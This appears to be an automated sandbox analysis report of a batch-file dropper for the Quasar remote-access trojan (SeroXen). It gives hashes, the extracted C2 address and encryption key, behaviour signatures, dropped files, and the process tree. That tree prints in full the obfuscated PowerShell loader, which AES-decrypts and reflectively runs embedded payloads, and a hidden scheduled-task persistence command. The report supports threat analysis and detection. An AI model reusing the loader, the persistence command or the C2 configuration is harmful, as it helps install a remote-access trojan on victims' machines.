Analysis

  • max time kernel
    34s
  • max time network
    57s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-05-2024 20:12

General

  • Target

    $sxr-Uni.bat

  • Size

    1004KB

  • MD5

    87135909ef2fbb7168cd05d0e39fa129

  • SHA1

    1c2a864813a5cf5fb12a3e92f80c8ea90b5d7799

  • SHA256

    38050d3e9a2d09088d05a9a586ad93d139c84439ae995d42cbbaed70fdd77ea7

  • SHA512

    93475323429a7084902ba12d8ae8ba006de046dfcce62d7acd219f4ec856e561b3f1b036661a52de1950359a61dc1dd8fc52c8b3ea8e1756be04ae0a071ac547

  • SSDEEP

    24576:Aj9+DnG6YVMFMTnd9x6osRvWc2mjJRiW7+wjHRjX:NGppndjT6dxjX

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

uk2.localto.net:3362

Mutex

$Sxr-CHcUwDREE2aL5huOTd

Attributes
  • encryption_key

    8v1KwkaFypjEiZ1Virk0

  • install_name

    Client.exe

  • log_directory

    $sxr-cmd

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2924
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZuUSVdDzzqEQUY+YLsQ5Gj5wKfn0tqq012ohBylrVEE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vggS0zw77JyIF8H43aLbbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GZkhM=New-Object System.IO.MemoryStream(,$param_var); $oEEbG=New-Object System.IO.MemoryStream; $cBLwn=New-Object System.IO.Compression.GZipStream($GZkhM, [IO.Compression.CompressionMode]::Decompress); $cBLwn.CopyTo($oEEbG); $cBLwn.Dispose(); $GZkhM.Dispose(); $oEEbG.Dispose(); $oEEbG.ToArray();}function execute_function($param_var,$param2_var){ $YTJuF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BaFCg=$YTJuF.EntryPoint; $BaFCg.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.bat';$pjodI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.bat').Split([Environment]::NewLine);foreach ($SxOOI in $pjodI) { if ($SxOOI.StartsWith(':: ')) { $tIbAV=$SxOOI.Substring(3); break; }}$payloads_var=[string[]]$tIbAV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_527_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_527.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3220
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_527.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_527.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3548
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZuUSVdDzzqEQUY+YLsQ5Gj5wKfn0tqq012ohBylrVEE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vggS0zw77JyIF8H43aLbbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GZkhM=New-Object System.IO.MemoryStream(,$param_var); $oEEbG=New-Object System.IO.MemoryStream; $cBLwn=New-Object System.IO.Compression.GZipStream($GZkhM, [IO.Compression.CompressionMode]::Decompress); $cBLwn.CopyTo($oEEbG); $cBLwn.Dispose(); $GZkhM.Dispose(); $oEEbG.Dispose(); $oEEbG.ToArray();}function execute_function($param_var,$param2_var){ $YTJuF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BaFCg=$YTJuF.EntryPoint; $BaFCg.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_527.bat';$pjodI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_527.bat').Split([Environment]::NewLine);foreach ($SxOOI in $pjodI) { if ($SxOOI.StartsWith(':: ')) { $tIbAV=$SxOOI.Substring(3); break; }}$payloads_var=[string[]]$tIbAV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3904
            • C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.exe
              "C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetWindowsHookEx
              PID:1780
            • C:\Windows\SysWOW64\wermgr.exe
              "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3904" "2652" "2304" "2644" "0" "0" "2660" "0" "0" "0" "0" "0"
              6⤵
              • Checks processor information in registry
              • Enumerates system info in registry
              PID:1820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    8ba8fc1034d449222856ea8fa2531e28

    SHA1

    7570fe1788e57484c5138b6cead052fbc3366f3e

    SHA256

    2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

    SHA512

    7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    17KB

    MD5

    81a21dd5ff376076ce4ea5b787889e19

    SHA1

    052c32cc977f28c2ec9aa688c5c6ccf2f68f2a05

    SHA256

    b2d585b1da82cd61833fe0e2cbcfa4cb7a024076a0b2ed7cefbde1b2fa78dfeb

    SHA512

    68c39303934442e30721d3bd23b33050e87c16b5f8365d635c12e516795e557fe56a4a5c2f0f8bfec96339e09052186926b1adc01fa8e0868545333df0336ea7

  • C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.exe
    Filesize

    409KB

    MD5

    95b900961b79bdde26d9aa9b7dd0d45f

    SHA1

    fa92ee8cb299cb3e7565c4d8fe5071a902e2fd08

    SHA256

    a3c2d3cb1d3aac5f6a85fcc8654d1f36671b4d0d9cb49c8187dc973fdc4637f0

    SHA512

    6cc027d2b156842274fc170d9dc3bf62274fecd06af8cc863d0101e559605cfc162f43fdd2fe2798446d7717b25b244365d96a6891fe7f07d01fc1e8f53bb2ad

  • C:\Users\Admin\AppData\Local\Temp\Install.exe
    Filesize

    164KB

    MD5

    bec10290154b8590c20abe2e49096d21

    SHA1

    ac36297e505124cdf3db5f07ee595cb1d95187ea

    SHA256

    a0739bd54451695e2a7861a6845c59079b8a08d4543f883ec63fc3d5ac357107

    SHA512

    583b0e21f13fcbc3b5a02018b30baa8fb0180ff43b7aa8cf21cfde47122cf632d5452b311bcbc2dc1acc6587510a764b01984e9b567bbec9bfadbbb4e76cf97d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_44ueie3s.2m4.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_527.bat
    Filesize

    1004KB

    MD5

    87135909ef2fbb7168cd05d0e39fa129

    SHA1

    1c2a864813a5cf5fb12a3e92f80c8ea90b5d7799

    SHA256

    38050d3e9a2d09088d05a9a586ad93d139c84439ae995d42cbbaed70fdd77ea7

    SHA512

    93475323429a7084902ba12d8ae8ba006de046dfcce62d7acd219f4ec856e561b3f1b036661a52de1950359a61dc1dd8fc52c8b3ea8e1756be04ae0a071ac547

  • C:\Users\Admin\AppData\Roaming\startup_str_527.vbs
    Filesize

    115B

    MD5

    f93163321c00180e32ba98c81eafc0fe

    SHA1

    1af209d565d888c3709f25929ee23aece46efde5

    SHA256

    c55cbdee39a9d483cc7a0af0f70fc28dfd853521eeace70bddaa82c8b678d199

    SHA512

    9ced0d257a9fb5f813492abee3926f56dd29073cc0bf8fedb5b86a8206f4934f9a66ac39fb32d5fbe285e3d0d85966727c99dfc8d2c1287fb671ec12e1c835b1

  • memory/1780-111-0x0000000006780000-0x000000000678A000-memory.dmp
    Filesize

    40KB

  • memory/1780-109-0x0000000006400000-0x000000000643C000-memory.dmp
    Filesize

    240KB

  • memory/1780-108-0x0000000005FD0000-0x0000000005FE2000-memory.dmp
    Filesize

    72KB

  • memory/1780-100-0x00000000006C0000-0x000000000072C000-memory.dmp
    Filesize

    432KB

  • memory/2068-18-0x0000000005BC0000-0x0000000005C0C000-memory.dmp
    Filesize

    304KB

  • memory/2068-0-0x000000007523E000-0x000000007523F000-memory.dmp
    Filesize

    4KB

  • memory/2068-20-0x0000000007CB0000-0x0000000007CCA000-memory.dmp
    Filesize

    104KB

  • memory/2068-21-0x0000000007C50000-0x0000000007C58000-memory.dmp
    Filesize

    32KB

  • memory/2068-22-0x0000000007DA0000-0x0000000007E92000-memory.dmp
    Filesize

    968KB

  • memory/2068-23-0x0000000009F60000-0x000000000A506000-memory.dmp
    Filesize

    5.6MB

  • memory/2068-1-0x0000000004780000-0x00000000047B6000-memory.dmp
    Filesize

    216KB

  • memory/2068-3-0x0000000004F20000-0x000000000554A000-memory.dmp
    Filesize

    6.2MB

  • memory/2068-2-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/2068-19-0x0000000008330000-0x00000000089AA000-memory.dmp
    Filesize

    6.5MB

  • memory/2068-4-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/2068-5-0x0000000004D80000-0x0000000004DA2000-memory.dmp
    Filesize

    136KB

  • memory/2068-6-0x0000000005550000-0x00000000055B6000-memory.dmp
    Filesize

    408KB

  • memory/2068-75-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/2068-7-0x00000000055C0000-0x0000000005626000-memory.dmp
    Filesize

    408KB

  • memory/2068-16-0x0000000005630000-0x0000000005987000-memory.dmp
    Filesize

    3.3MB

  • memory/2068-17-0x0000000005B20000-0x0000000005B3E000-memory.dmp
    Filesize

    120KB

  • memory/3220-37-0x0000000071420000-0x000000007146C000-memory.dmp
    Filesize

    304KB

  • memory/3220-36-0x0000000006D90000-0x0000000006DC4000-memory.dmp
    Filesize

    208KB

  • memory/3220-54-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-57-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-52-0x00000000071F0000-0x0000000007286000-memory.dmp
    Filesize

    600KB

  • memory/3220-51-0x0000000006FE0000-0x0000000006FEA000-memory.dmp
    Filesize

    40KB

  • memory/3220-50-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-49-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-48-0x0000000006E20000-0x0000000006EC4000-memory.dmp
    Filesize

    656KB

  • memory/3220-25-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-34-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-47-0x0000000006DF0000-0x0000000006E0E000-memory.dmp
    Filesize

    120KB

  • memory/3220-46-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3220-53-0x0000000007170000-0x0000000007181000-memory.dmp
    Filesize

    68KB

  • memory/3220-35-0x0000000075230000-0x00000000759E1000-memory.dmp
    Filesize

    7.7MB

  • memory/3904-81-0x000000000A4D0000-0x000000000A562000-memory.dmp
    Filesize

    584KB

  • memory/3904-80-0x000000000A3C0000-0x000000000A42C000-memory.dmp
    Filesize

    432KB